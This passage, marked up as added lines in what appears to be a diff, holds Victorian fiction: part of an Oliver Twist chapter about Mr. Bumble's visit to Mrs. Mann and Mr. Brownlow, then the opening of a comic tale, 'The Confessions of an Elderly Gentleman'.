+coat were dazzling in the morning sun, and he clutched his cane with
+all the vigorous tenacity of health and power. Mr. Bumble always
+carried his head high, but this morning it was higher than usual; there
+was an abstraction in his eye, and an elevation in his air, which might
+have warned an observant stranger that thoughts were passing in the
+beadle's mind, too great for utterance.
+
+Mr. Bumble stopped not to converse with the small shopkeepers and
+others who spoke to him deferentially as he passed along. He merely
+returned their salutations with a wave of his hand, and relaxed not in
+his dignified pace until he reached the farm where Mrs. Mann tended the
+infant paupers with a parish care.
+
+"Drat that beadle!" said Mrs. Mann, hearing the well-known impatient
+shaking at the garden gate. "If it isn't him at this time in the
+morning!--Lauk, Mr. Bumble, only think of its being you! Well, dear me,
+it is a pleasure this is! Come into the parlour, sir, please."
+
+The first sentence was addressed to Susan, and the exclamations of
+delight were spoken to Mr. Bumble as the good lady unlocked the garden
+gate, and showed him with great attention and respect into the house.
+
+"Mrs. Mann," said Mr. Bumble,--not sitting upon, or dropping himself
+into a seat, as any common jackanapes would, but letting himself
+gradually and slowly down into a chair,--"Mrs. Mann, ma'am, good
+morning!"
+
+"Well, and good morning to you, sir," replied Mrs. Mann, with many
+smiles; "and hoping you find yourself well, sir?"
+
+"So-so, Mrs. Mann," replied the beadle. "A porochial life is not a bed
+of roses, Mrs. Mann."
+
+"Ah, that it isn't indeed, Mr. Bumble," rejoined the lady. And all the
+infant paupers might have chorused the rejoinder with great propriety
+if they had heard it.
+
+"A porochial life, ma'am," continued Mr. Bumble, striking the table
+with his cane, "is a life of worry, and vexation, and hardihood; but
+all public characters, as I may say, must suffer prosecution."
+
+Mrs. Mann, not very well knowing what the beadle meant, raised her
+hands with a look of sympathy, and sighed.
+
+"Ah! You may well sigh, Mrs. Mann!" said the beadle.
+
+Finding she had done right, Mrs. Mann sighed again, evidently to the
+satisfaction of the public character, who, repressing a complacent
+smile by looking sternly at his cocked hat, said,
+
+"Mrs. Mann, I am a going to London."
+
+"Lauk, Mr. Bumble!" said Mrs. Mann, starting back.
+
+"To London, ma'am," resumed the inflexible beadle, "by coach; I, and
+two paupers, Mrs. Mann. A legal action is coming on about a settlement,
+and the board has appointed me--me, Mrs. Mann--to depose to the matter
+before the quarter-sessions at Clerkinwell; and I very much question,"
+added Mr. Bumble, drawing himself up, "whether the Clerkinwell Sessions
+will not find themselves in the wrong box before they have done with
+me."
+
+"Oh! you mustn't be too hard upon them, sir," said Mrs. Mann coaxingly.
+
+"The Clerkinwell Sessions have brought it upon themselves, ma'am,"
+replied Mr. Bumble; "and if the Clerkinwell Sessions find that they
+come off rather worse than they expected, the Clerkinwell Sessions have
+only themselves to thank."
+
+There was so much determination and depth of purpose about the menacing
+manner in which Mr. Bumble delivered himself of these words, that Mrs.
+Mann appeared quite awed by them. At length she said,
+
+"You're going by coach, sir? I thought it was always usual to send them
+paupers in carts."
+
+"That's when they're ill, Mrs. Mann," said the beadle. "We put the sick
+paupers into open carts in the rainy weather, to prevent their taking
+cold."
+
+"Oh!" said Mrs. Mann.
+
+"The opposition coach contracts for these two, and takes them cheap,"
+said Mr. Bumble. "They are both in a very low state, and we find it
+would come two pound cheaper to move 'em than to bury 'em,--that is, if
+we can throw 'em upon another parish, which I think we shall be able to
+do, if they don't die upon the road to spite us. Ha! ha! ha!"
+
+When Mr. Bumble had laughed a little while, his eyes again encountered
+the cocked hat, and he became grave.
+
+"We are forgetting business, ma'am," said the beadle;--"here is your
+porochial stipend for the month."
+
+Wherewith Mr. Bumble produced some silver money, rolled up in paper,
+from his pocket-book, and requested a receipt, which Mrs. Mann wrote.
+
+"It's very much blotted, sir," said the farmer of infants; "but it's
+formal enough, I dare say. Thank you, Mr. Bumble, sir; I am very much
+obliged to you, I'm sure."
+
+Mr. Bumble nodded blandly in acknowledgment of Mrs. Mann's curtsey, and
+inquired how the children were.
+
+"Bless their dear little hearts!" said Mrs. Mann with emotion, "they're
+as well as can be, the dears! Of course, except the two that died last
+week, and little Dick."
+
+"Isn't that boy no better?" inquired Mr. Bumble. Mrs. Mann shook her
+head.
+
+"He's a ill-conditioned, vicious, bad-disposed porochial child that,"
+said Mr. Bumble angrily. "Where is he?"
+
+"I'll bring him to you in one minute, sir," replied Mrs. Mann. "Here,
+you Dick!"
+
+After some calling, Dick was discovered; and having had his face put
+under the pump, and dried upon Mrs. Mann's gown, he was led into the
+awful presence of Mr. Bumble, the beadle.
+
+The child was pale and thin; his cheeks were sunken, and his eyes large
+and bright. The scanty parish dress, the livery of his misery, hung
+loosely upon his feeble body; and his young limbs had wasted away like
+those of an old man.
+
+Such was the little being that stood trembling beneath Mr. Bumble's
+glance, not daring to lift his eyes from the floor, and dreading even
+to hear the beadle's voice.
+
+"Can't you look at the gentleman, you obstinate boy?" said Mrs. Mann.
+
+The child meekly raised his eyes, and encountered those of Mr. Bumble.
+
+"What's the matter with you, porochial Dick?" inquired Mr. Bumble with
+well-timed jocularity.
+
+"Nothing, sir," replied the child faintly.
+
+"I should think not," said Mrs. Mann, who had of course laughed very
+much at Mr. Bumble's exquisite humour. "You want for nothing, I'm sure."
+
+"I should like--" faltered the child.
+
+"Hey-day!" interposed Mrs. Mann, "I suppose you're going to say that
+you _do_ want for something, now? Why, you little wretch----"
+
+"Stop, Mrs. Mann, stop!" said the beadle, raising his hand with a show
+of authority. "Like what, sir; eh?"
+
+"I should like," faltered the child, "if somebody that can write, would
+put a few words down for me on a piece of paper, and fold it up, and
+seal it, and keep it for me after I am laid in the ground."
+
+"Why, what does the boy mean?" exclaimed Mr. Bumble, on whom the
+earnest manner and wan aspect of the child had made some impression,
+accustomed as he was to such things.
+
+"What do you mean, sir?"
+
+"I should like," said the child, "to leave my dear love to poor Oliver
+Twist, and to let him know how often I have sat by myself and cried to
+think of his wandering about in the dark nights with nobody to help
+him; and I should like to tell him," said the child, pressing his small
+hands together, and speaking with great fervour, "that I was glad to
+die when I was very young; for, perhaps, if I lived to be a man, and
+grew old, my little sister, who is in heaven, might forget me, or be
+unlike me; and it would be so much happier if we were both children
+there together."
+
+Mr. Bumble surveyed the little speaker from head to foot with
+indescribable astonishment, and, turning to his companion, said,
+"They're all in one story, Mrs. Mann. That out-dacious Oliver has
+demoralised them all!"
+
+"I couldn't have believed it, sir!" said Mrs. Mann, holding up her
+hands, and looking malignantly at Dick. "I never see such a hardened
+little wretch!"
+
+"Take him away, ma'am!" said Mr. Bumble imperiously. "This must be
+stated to the board, Mrs. Mann."
+
+"I hope the gentlemen will understand that it isn't my fault, sir?"
+said Mrs. Mann, whimpering pathetically.
+
+"They shall understand that, ma'am; they shall be acquainted with the
+true state of the case," said Mr. Bumble pompously. "There; take him
+away. I can't bear the sight of him."
+
+Dick was immediately taken away, and locked up in the coal-cellar;
+and Mr. Bumble shortly afterwards took himself away to prepare for his
+journey.
+
+At six o'clock next morning, Mr. Bumble having exchanged his cocked hat
+for a round one, and encased his person in a blue great-coat with a
+cape to it, took his place on the outside of the coach, accompanied by
+the criminals whose settlement was disputed, with whom, in due course
+of time, he arrived in London, having experienced no other crosses by
+the way than those which originated in the perverse behaviour of the
+two paupers, who persisted in shivering, and complaining of the cold
+in a manner which, Mr. Bumble declared, caused his teeth to chatter
+in his head, and made him feel quite uncomfortable, although he had a
+great-coat on.
+
+Having disposed of these evil-minded persons for the night, Mr. Bumble
+sat himself down in the house at which the coach stopped, and took a
+temperate dinner of steaks, oyster-sauce, and porter; putting a glass
+of hot gin-and-water on the mantel-piece, he drew his chair to the
+fire, and, with sundry moral reflections on the too-prevalent sin of
+discontent and complaining, he then composed himself comfortably to
+read the paper.
+
+The very first paragraph upon which Mr. Bumble's eyes rested, was the
+following advertisement.
+
+      "FIVE GUINEAS REWARD.
+
+    "WHEREAS a young boy, named Oliver Twist, absconded, or was
+    enticed, on Thursday evening last, from his home at Pentonville,
+    and has not since been heard of; the above reward will be paid
+    to any person who will give such information as may lead to the
+    discovery of the said Oliver Twist, or tend to throw any light upon
+    his previous history, in which the advertiser is for many reasons
+    warmly interested."
+
+And then followed a full description of Oliver's dress, person,
+appearance, and disappearance, with the name and address of Mr.
+Brownlow at full length.
+
+Mr. Bumble opened his eyes, read the advertisement slowly and carefully
+three several times, and in something more than five minutes was on his
+way to Pentonville, having actually in his excitement left the glass of
+hot gin-and-water untasted on the mantel-piece.
+
+"Is Mr. Brownlow at home?" inquired Mr. Bumble of the girl who opened
+the door.
+
+To this inquiry the girl returned the not uncommon, but rather evasive
+reply of, "I don't know--where do you come from?"
+
+Mr. Bumble no sooner uttered Oliver's name in explanation of his
+errand, than Mrs. Bedwin, who had been listening at the parlour-door,
+hastened into the passage in a breathless state.
+
+"Come in--come in," said the old lady: "I knew we should hear of him.
+Poor dear! I knew we should,--I was certain of it. Bless his heart! I
+said so all along."
+
+Having said this, the worthy old lady hurried back into the parlour
+again, and, seating herself on a sofa, burst into tears. The girl, who
+was not quite so susceptible, had run up-stairs meanwhile, and now
+returned with a request that Mr. Bumble would follow her immediately,
+which he did.
+
+He was shown into the little back study, where sat Mr. Brownlow and his
+friend Mr. Grimwig, with decanters and glasses before them: the latter
+gentleman eyed him closely, and at once burst into the exclamation,
+
+"A beadle--a parish beadle, or I'll eat my head!"
+
+"Pray don't interrupt just now," said Mr. Brownlow. "Take a seat, will
+you?"
+
+Mr. Bumble sat himself down, quite confounded by the oddity of Mr.
+Grimwig's manner. Mr. Brownlow moved the lamp so as to obtain an
+uninterrupted view of the beadle's countenance, and said with a little
+impatience,
+
+"Now, sir, you come in consequence of having seen the
+advertisement?"--"Yes, sir," said Mr. Bumble.
+
+"And you _are_ a beadle, are you not?" inquired Mr. Grimwig.
+
+"I am a porochial beadle, gentlemen," rejoined Mr. Bumble proudly.
+
+"Of course," observed Mr. Grimwig aside to his friend. "I knew he was.
+His great-coat is a parochial cut, and he looks a beadle all over."
+
+Mr. Brownlow gently shook his head to impose silence on his friend, and
+resumed:
+
+"Do you know where this poor boy is now?"
+
+"No more than nobody," replied Mr. Bumble.
+
+"Well, what _do_ you know of him?" inquired the old gentleman. "Speak
+out, my friend, if you have anything to say. What do you know of him?"
+
+"You don't happen to know any good of him, do you?" said Mr. Grimwig
+caustically, after an attentive perusal of Mr. Bumble's features.
+
+Mr. Bumble caught at the inquiry very quickly, and shook his head with
+portentous solemnity.
+
+"You see this?" said Mr. Grimwig, looking triumphantly at Mr. Brownlow.
+
+Mr. Brownlow looked apprehensively at Bumble's pursed-up countenance,
+and requested him to communicate what he knew regarding Oliver, in as
+few words as possible.
+
+Mr. Bumble put down his hat, unbuttoned his coat, folded his arms,
+inclined his head in a retrospective manner, and, after a few moments'
+reflection, commenced his story.
+
+It would be tedious if given in the beadle's words, occupying as it
+did some twenty minutes in the telling; but the sum and substance of
+it was, that Oliver was a foundling, born of low and vicious parents,
+who had from his birth displayed no better qualities than treachery,
+ingratitude, and malice, and who had terminated his brief career in
+the place of his birth, by making a sanguinary and cowardly attack on
+an unoffending lad, and then running away in the night-time from his
+master's house. In proof of his really being the person he represented
+himself, Mr. Bumble laid upon the table the papers he had brought to
+town, and, folding his arms again, awaited Mr. Brownlow's observations.
+
+"I fear it is all too true," said the old gentleman sorrowfully, after
+looking over the papers. "This is not much for your intelligence; but
+I would gladly have given you treble the money, sir, if it had been
+favourable to the boy."
+
+It is not at all improbable that if Mr. Bumble had been possessed with
+this information at an earlier period of the interview, he might have
+imparted a very different colouring to his little history. It was
+too late to do it now, however; so he shook his head gravely, and,
+pocketing the five guineas, withdrew.
+
+Mr. Brownlow paced the room to and fro for some minutes, evidently so
+much disturbed by the beadle's tale, that even Mr. Grimwig forbore to
+vex him further. At length he stopped, and rang the bell violently.
+
+"Mrs. Bedwin," said Mr. Brownlow when the housekeeper appeared, "that
+boy, Oliver, is an impostor."
+
+"It can't be, sir; it cannot be," said the old lady energetically.
+
+"I tell you he is," retorted the old gentleman sharply. "What do you
+mean by 'can't be'? We have just heard a full account of him from his
+birth; and he has been a thorough-paced little villain all his life."
+
+"I never will believe it, sir," replied the old lady, firmly.
+
+"You old women never believe anything but quack-doctors and lying
+story-books," growled Mr. Grimwig. "I knew it all along. Why didn't you
+take my advice in the beginning; you would, if he hadn't had a fever, I
+suppose,--eh? He was interesting, wasn't he? Interesting! Bah!" and Mr.
+Grimwig poked the fire with a flourish.
+
+"He was a dear, grateful, gentle child, sir," retorted Mrs. Bedwin
+indignantly. "I know what children are, sir, and have done these forty
+years; and people who can't say the same shouldn't say anything about
+them--that's my opinion."
+
+This was a hard hit at Mr. Grimwig, who was a bachelor; but as it
+extorted nothing from that gentleman but a smile, the old lady tossed
+her head and smoothed down her apron, preparatory to another speech,
+when she was stopped by Mr. Brownlow.
+
+"Silence!" said the old gentleman, feigning an anger he was far from
+feeling. "Never let me hear the boy's name again: I rang to tell you
+that. Never--never, on any pretence, mind. You may leave the room, Mrs.
+Bedwin. Remember; I am in earnest."
+
+There were sad hearts at Mr. Brownlow's that night. Oliver's sank
+within him when he thought of his good, kind friends; but it was well
+for him that he could not know what they had heard, or it would have
+broken outright.
+
+[Illustration: The Confessions of an Elderly Gentleman]
+
+
+
+
+THE CONFESSIONS OF AN ELDERLY GENTLEMAN;
+
+CONTAINING HIS LAST LOVE.
+
+WITH AN ILLUSTRATION BY GEORGE CRUIKSHANK.
+
+
+The Countess of Blessington need not be afraid that I shall interfere
+with her work in the unhappy tale which I am about to begin; my
+scene will be laid in a very different walk of life, and the lady
+whose charms have wounded my heart bear no resemblance whatever to
+the aristocratic beauties which grace the book of the Countess. My
+arrangement ever goes upon an opposite principle to hers; her elderly
+gentleman proceeds from first to last, getting through his fates and
+fortunes in regular rotation, as if they were so many letters of the
+alphabet, from A to Z: I read mine backward, in the manner of Turks,
+Jews, and other infidels; for worse than Turk or Jew have I been
+treated by the fair sex!
+
+When I confess to being an elderly gentleman, I leave my readers
+to their own conjectures as to the precise figure of my age. It is
+sufficient to say that I have arrived at the shady side of fifty,--how
+much further, it is unnecessary to add. I have been always what
+is called a man in easy circumstances. My father worked hard in
+industrious pursuits, and left me, his only son, a tolerably snug
+thing. I started in life with some five or six thousand pounds, a good
+business as a tobacconist, a large stock-in-trade, excellent credit
+and connexion, not a farthing of debt, and no encumbrance in the
+world. In fact, I had, one way or another, about a thousand a year,
+with no great quantity of trouble. I liked business, and stuck to it;
+became respected in my trade and my ward; and have frequently filled
+the important office of common-councilman with considerable vigour
+and popularity. As I never went into rash speculations, and put by
+something every year, my means are now about double what they were some
+thirty-five years ago, when Mr. Gayless, sen. departing this life, left
+the firm of Gayless, Son, and Company, to my management.
+
+It is not to be wondered at, that a man in such circumstances should
+occasionally allow himself relaxation from his labours. I entered
+heartily into all the civic festivities; and, at my snug bachelor's
+country-house on Fortress Terrace, Kentish Town, did the thing
+genteelly enough every now and then. Many an excursion have I made up
+and down the river, to Greenwich, Richmond, Blackwall, &c.; have spent
+my summer at Margate, and once went to the Lakes of Westmoreland. Some
+of that party proposed to me to go over to see the Lakes of Killarney;
+but I had by that time come to years of discretion, and was not such
+a fool as to trust myself among the Irish. I however did go once
+to Paris, but, not understanding the language, I did not take much
+interest in the conversation of the Frenchmen; and as for talking to
+English people, why I can do that at home, without distressing my purse
+or person.
+
+The younger portion of my fair readers may be anxious to know what is
+the personal appearance of him who takes the liberty of addressing
+them. I have always noticed that young ladies are very curious on
+this point; and it is difficult, if not impossible, to persuade them
+how irrational is their anxiety. It is in vain to quote to them the
+venerable maxims of antiquity, such as, "It is not handsome is, but
+handsome does," or, "When Poverty enters the door, Love flies out at
+the window," or, "All is not gold that glitters," or many more adages
+of equal wisdom. It is generally of no avail to dilate upon the merits
+of mind and intellect to persons whose thoughts run after glossy locks
+and sparkling eyes, and to whose imagination a well-filled ledger is of
+secondary importance to a well-tripped quadrille. In my own knowledge,
+a young lady of our ward refused to accept the hand of a thriving
+bill-broker in Spital-square,--a highly respectable middle-aged man,
+who had made a mint of money by sharp application to his business,--and
+chose a young barrister of the Inner Temple, whose bill, to my certain
+knowledge, was refused discount by the Spital-square broker at
+twenty-five per cent. I have been assured by officers in the army that
+the case has sometimes occurred of girls in garrison towns preferring
+an ensign to a major of many years' service; and I have heard, on
+authority which I have reason to credit, of a West-end lady rejecting
+an actual governor of a colony, on the ground that he was a withered
+fellow as old and prosy as her grandfather,--as if there was anything
+disgraceful in that,--and shortly afterwards cocking her cap at a
+penniless dog, because he had romantic eyes, and wrote rubbish in
+albums and pocket-books. I really have no patience with such stuff.
+Middle-aged ladies are far less fastidious.
+
+If I must delineate myself, however, here goes. So far from
+deteriorating by age, I think I have improved, like Madeira. A
+miniature of me, taken in my twenty-first year by an eminent artist
+who lived in Gutter-lane, and drew undeniable likenesses at an hour's
+sitting for half-a-guinea, forms a great contrast to one by Chalon,
+painted much more than twenty years afterward. You really would never
+think them to represent the same man, and yet both are extremely alike.
+I was in my youth a sallow-faced lad, with hollow cheeks, immense
+staring eyes, and long thin sandy hair, plastered to the side of my
+head. By the course of living which I have led in the city, the sallow
+complexion has been replaced by a durable red, the lean cheek is now
+comfortably plumped out, the eyes pursed round and contracted by
+substantial layers of fat, and the long hair having in general taken
+its departure has left the remainder considerably improved by the
+substitution of a floating silver for the soapy red. Then, my stature,
+which, like that of many celebrated men of ancient and modern times,
+cannot be said to be lofty, gave me somewhat an air of insignificance
+when I was thin-gutted and slim; but, when it is taken in conjunction
+with the rotundity I have attained in the progress of time, no one can
+say that I do not fill a respectable space in the public eye. I have
+also conformed to modern fashions; and when depicted by Chalon in a
+flowing mantle, with "_Jour à gauche_" (whatever that may mean) written
+under it, I am as grand as an officer of hussars with his martial
+cloak about him, and quite as distinct a thing from the effigy of Mr.
+M'Dawbs, of Gutter-lane, as the eau de Portugal which now perfumes my
+person, is, from the smell of the tobacco which filled my garments with
+the odour of the shop when first I commenced my amorous adventures.
+
+Such was I, and such am I; and I have now said, I think, enough to
+introduce me to the public. My story is briefly this:--On the 23rd
+of last December, just before the snow, I had occasion to go on some
+mercantile business to Edinburgh, and booked myself at a certain hotel,
+which must be nameless, for the journey--then rendered perilous by
+the weather. I bade adieu to my friends at a genial dinner given, on
+the 22nd, in the coffee-room, where I cheered their drooping spirits
+by perpetual bumpers of port, and all the consolation that my oratory
+could supply. I urged that travelling inside, even in Christmas week,
+in a stage-coach, was nothing nearly so dangerous as flying in a
+balloon; that we were not to think of Napoleon's army perishing in the
+snows of Russia, but rather of the bark that carried the fortunes of
+Cæsar; that great occasions required more than ordinary exertions; and
+that the last advices concerning the house of Screw, Longcut, and Co.
+in the High-street, rendered it highly probable that their acceptances
+would not be met unless I was personally in Edinburgh within a week.
+These and other arguments I urged with an eloquence which, to those
+who were swallowing my wine, seemed resistless. Some of my own bagmen,
+who had for years travelled in black rappee or Irish blackguard, shag,
+canaster, or such commodities, treated the adventure as a matter of
+smoke; others, not of such veteran experience, regarded my departure
+as an act of rashness not far short of insanity. "To do such a thing,"
+said my old neighbour, Joe Grabble, candlestick-maker and deputy, "at
+your time of life!"
+
+I had swallowed perhaps too much port, and, feeling warmer than usual,
+I did not much relish this observation. "At my time of life, Joe,"
+said I; "what of that? It is not years that make a man younger or
+older; it is the spirits, Joe,--the life, the sprightliness, the air.
+There is no such thing now, Joe, as an old man, an elderly man, to be
+found anywhere but on the stage. Certainly, if people poke themselves
+eternally upon a high stool behind a desk in a murky counting-house in
+the city, and wear such an odd quiz of a dress as you do, they must be
+accounted old."
+
+"And yet," said Joe, "I am four years younger than you. Don't you
+remember how we were together at school at old Muddlehead's, at
+the back of Honey-lane-market, in the year seventeen hundred and
+eighty-fou--?"
+
+"There is no need," said I, interrupting him, "of quoting dates. It is
+not considered genteel in good society. I do not admit your statement
+to be correct."
+
+"I'll prove it from the parish register," said Joe Grabble.
+
+"Don't interrupt, Joe," said I; "interrupting is not considered genteel
+in good society. I neither admit nor deny your assertion; but how does
+that affect my argument? I maintain that in every particular I am as
+young as I was thirty years ago."
+
+"And quite as ready to go philandering," said Joe, with a sneer.
+
+"Quite," replied I, "or more so. Nay, I venture to say that I could at
+this moment make myself as acceptable to that pretty young woman at the
+bar, as nine-tenths of the perfumed dandies of the West-end."
+
+"By your purse, no doubt," said Joe, "if even that would obtain you
+common civility."
+
+I was piqued at this; and, under the impulse of the moment and the
+wine, I performed the rash act of betting a rump and dozen for the
+present company, against five shillings, that she would acknowledge
+that I was a man of gaiety and gallantry calculated to win a lady's
+heart before I left London, short as was the remaining space. Joe
+caught at the bet, and it was booked in a moment. The party broke up
+about nine o'clock, and I could not help observing something like a
+suppressed horselaugh on their countenances. I confess that, when I was
+left alone, I began to repent of my precipitancy.
+
+But faint heart never won fair lady; so, by a series of manœuvring
+with which long practice had rendered me perfect, I fairly, in the
+course of an hour, entrenched myself in the bar, and, at about ten
+o'clock, was to be found diligently discussing a fragrant remnant of
+broiled chicken and mushroom, and hobnobbing with the queen of the
+pay department in sundry small glasses of brandy and water, extracted
+from the grand reservoir of the tumbler placed before me. So far all
+was propitious; but, as Old Nick would have it, in less than ten
+minutes the party was joined by a mustachoed fellow, who had come
+fresh from fighting--or pretending to fight--for Donna Isabella, or
+Don Carlos,--Heaven knows which, (I dare say he didn't,)--and was full
+of Bilboa, and San Sebastian, and Espartero, and Alaix pursuing Gomez,
+and Zumalacarregui, and General Evans, and all that style of talk, for
+which women have open ears. I am sure that I could have bought the
+fellow body and soul--at least all his property real and personal--for
+fifty pounds; but there he sate, crowing me down whenever I ventured
+to edge in a word, by some story of a siege, or a battle, or a march,
+ninety-nine hundred parts of his stories being nothing more nor less
+than lies. I know I should have been sorry to have bulled or beared
+in Spanish on the strength of them; but the girl (her name is Sarah)
+swallowed them all with open mouth, scarcely deigning to cast a look
+upon me. With mouth equally open, he swallowed the supper and the
+brandy for which I was paying; shutting mine every time I attempted
+to say a word by asking me had I ever served abroad. I never was so
+provoked in my life; and, when I saw him press her hand, I could have
+knocked him down, only that I have no practice in that line, which is
+sometimes considered to be doubly hazardous.
+
+I saw little chance of winning my wager, and was in no slight degree
+out of temper; but all things, smooth or rough, must have an end, and
+at last it was time that we should retire. My Spanish hero desired to
+be called at four,--I don't know why,--and Sarah said, with a most
+fascinating smile,
+
+"You may depend upon 't, sir; for, if there was no one else as would
+call you, I'd call you myself."
+
+"Never," said he, kissing her hand, "did Boots appear so beautiful!"
+
+"Devil take you!" muttered I, as I moved up stairs with a rolling
+motion; for the perils of the journey, the annoyance of the
+supper-table, the anticipation of the lost dinner and unwon lady,
+aided, perhaps, by what I had swallowed, tended somewhat to make my
+footsteps unsteady.
+
+My mustachoed companion and I were shown into adjacent rooms, and I
+fell sulkily asleep. About four o'clock I was aroused by a knocking,
+as I at first thought, at my own room, but which I soon found to be
+at that of my neighbour. I immediately caught the silver sound of the
+voice of Sarah summoning its tenant.
+
+"It's just a-gone the three ke-waters, sir, and you ought to be up."
+
+"I am up already, dear girl," responded a voice from inside, in tones
+as soft as the potations at my expense of the preceding night would
+permit; "I shall be ready to start in a jiffy."
+
+The words were hardly spoken when I heard him emerging, luggage in
+hand, which he seemed to carry with little difficulty.
+
+"Good-b'ye, dear," said he; "forgive this trouble."
+
+"It's none in the least in life, sir," said she.
+
+And then--god of jealousy!--he kissed her.
+
+"For shame, sir!" said Sarah. "You mustn't. I never permit it; never!"
+
+And he kissed her again; on which she, having, I suppose, exhausted
+her stock of indignation in the speech already made, offered no
+observation. He skipped down stairs, and I heard her say, with a sigh,
+"What a nice man!"
+
+The amorous thought rose softly over my mind. "Avaunt!" said I, "thou
+green-eyed monster; make way for Cupid, little god of love. Is my rump
+and my dozen yet lost? No. As the song says,
+
+    "When should lovers breathe their vows?
+      When should ladies hear them?
+    When the dew is on the boughs,
+      When none else is near them."
+
+Whether the dew was on the boughs, or not, I could not tell; but it
+was certain that none else was near us. With the rapidity of thought
+I jumped out of bed, upsetting a jug full of half-frozen water, which
+splashed all over, every wretch of an icicle penetrating to my very
+marrow, but not cooling the ardour of my love. After knocking my head
+in the dark against every object in the room, and cutting my shins in
+various places, I at last succeeded in finding my dressing-gown knee
+smalls, and slippers, and, so clad, presented myself at the top of the
+staircase before the barmaid. She was leaning over the balustrade,
+looking down through the deep well after the departing stranger, whose
+final exit was announced by the slamming of the gate after him by the
+porter. I could not help thinking of Fanny Kemble in the balcony scene
+of Romeo and Juliet.
+
+She sighed, and I stood forward.
+
+"Oh!" she screamed. "Lor' have mercy upon us! what's this?"
+
+"Be not afraid," said I, "Sarah; I am no ghost."
+
+"Oh, no," said she, recovering, "I didn't suppose you were; but I
+thought you were a Guy Fawkes."
+
+"No, angelic girl, I am not a Guy Fawkes; another flame is mine!" and I
+caught her hand, endeavouring to apply it to my lips.
+
+"Get along, you old----" I am not quite certain what the angelic Sarah
+called me; but I think it was a masculine sheep, or a goat.
+
+"Sarah!" said I, "let me press this fair hand to my lips."
+
+Sarah saved me the trouble. She gave me--not a lady's "slap," which
+we all know is rather an encouragement than otherwise,--but a very
+vigorous, well-planted, scientific blow, which loosened my two
+fore-teeth; and then skipped up stairs, shut herself in her room, and
+locked the door.
+
+I followed, stumbled up stairs, and approached in the dark towards
+the keyhole, whence shone the beams of her candle. I was about to
+explain that innocence had nothing to fear from me, when a somewhat
+unintelligible scuffling up the stairs was followed by a very
+intelligible barking. The house-dog, roused by the commotion, was
+abroad,--an animal more horrid even than the schoolmaster,--and,
+before I could convey a word as to the purity of my intentions, he
+had caught me by the calf of the leg so as to make his cursed fangs
+meet in my flesh, and bring the blood down into my slippers. I do not
+pretend to be Alexander or Julius Cæsar, and I confess that my first
+emotion, when the brute let me loose for a moment, and prepared, with
+another fierce howl, for a fresh invasion of my personal comforts,
+was to fly,--I had not time to reflect in what direction; but, as my
+enemy came from below, it was natural that my flight should be upwards.
+Accordingly, up stairs I stumbled as I could, and the dog after me,
+barking and snapping every moment, fortunately without inflicting any
+further wound. I soon reached the top of the staircase, and, as further
+flight was hopeless, I was obliged to throw myself astride across the
+balustrade, which was high enough to prevent him from getting at me
+without giving himself more inconvenience than it seems he thought the
+occasion called for.
+
+Here was a situation for a respectable citizen, tobacconist, and
+gallant! The darkness was intense; but I knew by an occasional snappish
+bark whenever I ventured to stir, or to make the slightest noise, that
+the dog was couching underneath me, ready for a spring. The thermometer
+must have been several yards beneath the freezing point, and I had
+nothing to guard me from the cold but a night-gown and shirt. I was
+barelegged and barefooted, having lost my slippers in the run. The
+uneasy seat on which I was perched was as hard as iron, and colder than
+ice. I had received various bruises in the adventures of the last few
+minutes, but I forgot them in the smarting pain of my leg, rendered
+acute to the last degree by exposure to the frost. And then I knew
+perfectly well, that, if I did not keep my seat with the dexterity
+of a Ducrow, I was exposed by falling on one side to be mangled by a
+beast of a dog watching my descent with a malignant pleasure, and, on
+the other, to be dashed to pieces by tumbling down from the top to the
+bottom of the house. The sufferings of Mazeppa were nothing compared to
+mine. He was, at least, safe from all danger of falling off his unruly
+steed. They had the humanity to tie him on.
+
+Here I remained, with my bedroom candle in my hand,--I don't know
+how long, but it seemed an eternity,--until at length the dog began
+to retire by degrees, backwards, like the champion's horse at the
+coronation of George the Fourth, keeping his eyes fixed upon me all the
+time. I watched him with intense interest as he slowly receded down the
+stairs. He stopped a long time peeping over one stair so that nothing
+of him was visible but his two great glaring eyes, and then they
+disappeared. I listened. He had gone.
+
+I gently descended; cold and wretched as I was, I actually smiled as I
+gathered my dressing-gown about me, preparatory to returning to bed.
+Hark! He was coming back again, tearing up the stairs like a wild bull.
+I caught sight of his eyes. With a violent spring I caught at and
+climbed to the top of an old press that stood on the landing, just as
+the villanous animal reared himself against it, scratching and tearing
+to get at me, and gnashing his teeth in disappointment. Such teeth too!
+
+"Why, what is the matter?" cried the beauteous Sarah, opening her
+chamber door, and putting forth a candle and a nightcap.
+
+"Sarah, my dear!" I exclaimed, "call off the dog, lovely vision!"
+
+"Get along with you!" said Sarah; "and don't call me a lovely vision,
+or I'll scream out of my window into the street. It serves you right!"
+
+"Serves me right, Sarah!" I exclaimed, in a voice which I am quite
+certain was very touching. "You'll not leave me here, Sarah; look, look
+at this dreadful animal!"
+
+"You're a great deal safer there than anywhere else," said Sarah; and
+she drew in her head again, and locked the door, leaving me and the dog
+gazing at each other with looks of mutual hatred.
+
+How long I continued in this position I feel it impossible to guess;
+It appeared to me rather more than the duration of a whole life. I was
+not even soothed by the deep snoring which penetrated from the sleeping
+apartment of the fair cause of all my woes, and indicated that she was
+in the oblivious land of dreams.
+
+I suppose I should have been compelled to await the coming of daylight,
+and the wakening of the household, before my release from my melancholy
+situation, if fortune had not so far favoured me as to excite, by way
+of diversion, a disturbance below stairs, which called off my guardian
+fiend. I never heard a more cheerful sound than that of his feet
+trotting down stairs; and, as soon as I ascertained that the coast was
+clear, I descended, and tumbled at once into bed, much annoyed both in
+mind and body. The genial heat of the blankets, however, soon produced
+its natural effect, and I forgot my sorrows in slumber. When I woke
+it was broad daylight,--as broad, I mean, as daylight condescends to
+be in December,--an uneasy sensation surprised me. Had I missed the
+coach? Devoting the waiters to the infernal gods, I put my hand under
+my pillow for my watch; but no watch was there. Sleep was completely
+banished from my eyes, and I jumped out of bed to make the necessary
+inquiries; when, to my additional horror and astonishment, I found my
+clothes also had vanished. I rang the bell violently, and summoned the
+whole _posse comitatûs_ of the house, whom I accused, in the loftiest
+tones, of misdemeanors of all descriptions. In return, I was asked
+who and what I was, and what brought me there; and one of the waiters
+suggested an instant search of the room, as he had shrewd suspicions
+that I was the man with the carpet-bag, who went about robbing hotels.
+After a scene of much tumult, the appearance of Boots at last cut the
+knot. I was, it seems, "No. 12, wot was to ha' gone by the Edenbry
+coach at six o'clock that morning, but wot had changed somehow into No.
+11, wot went at four."
+
+"And why," said I, "didn't you knock at No. 12?"
+
+"So I did," said Boots; "I knocked fit to wake the dead, and, as there
+warn't no answer, I didn't like to wake the living; I didn't knock no
